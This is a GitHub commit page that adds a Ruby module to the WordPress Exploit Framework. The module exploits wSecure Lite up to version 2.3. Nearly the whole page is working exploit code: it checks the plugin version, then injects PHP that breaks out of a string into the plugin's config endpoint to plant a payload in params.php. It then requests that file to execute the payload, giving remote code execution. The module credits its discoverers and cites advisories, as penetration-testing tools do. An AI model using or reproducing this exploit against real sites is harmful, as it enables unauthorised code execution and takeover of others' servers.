Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 83e80d0

Browse files
committed
Add wSecure Lite shell upload module
1 parent efa3c6f commit 83e80d0

File tree

1 file changed

+55
-0
lines changed

1 file changed

+55
-0
lines changed
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
class Wpxf::Exploit::WsecureLiteShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'wSecure Lite <= 2.3 Shell Upload',
9+
author: [
10+
'White Fir Design', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8594'],
15+
['URL', 'https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/']
16+
],
17+
date: 'Aug 02 2016'
18+
)
19+
end
20+
21+
def plugin_url
22+
normalize_uri(wordpress_url_plugins, 'wsecure')
23+
end
24+
25+
def check
26+
readme = normalize_uri(plugin_url, 'readme.txt')
27+
check_version_from_custom_file(readme, /Version\s(\d\.\d)\s\-/, '2.4')
28+
end
29+
30+
def payload_field_value
31+
"\";} ?> #{payload.encoded} <?php class #{Utility::Text.rand_alpha(5)} { var $#{Utility::Text.rand_alpha(10)}=\""
32+
end
33+
34+
def payload_body_builder
35+
builder = Wpxf::Utility::BodyBuilder.new
36+
builder.add_field('wsecure_action', 'update')
37+
builder.add_field('publish', payload_field_value)
38+
builder
39+
end
40+
41+
def uploader_url
42+
normalize_uri(plugin_url, 'wsecure-config.php')
43+
end
44+
45+
def uploaded_payload_location
46+
normalize_uri(plugin_url, 'params.php')
47+
end
48+
49+
def execute_payload(payload_url)
50+
# The file handle from the request to wsecure-config.php doesn't seem to close right away
51+
# so a delay is required before accessing params.php in order to execute the payload.
52+
sleep(5)
53+
super(payload_url)
54+
end
55+
end

0 commit comments

Comments
 (0)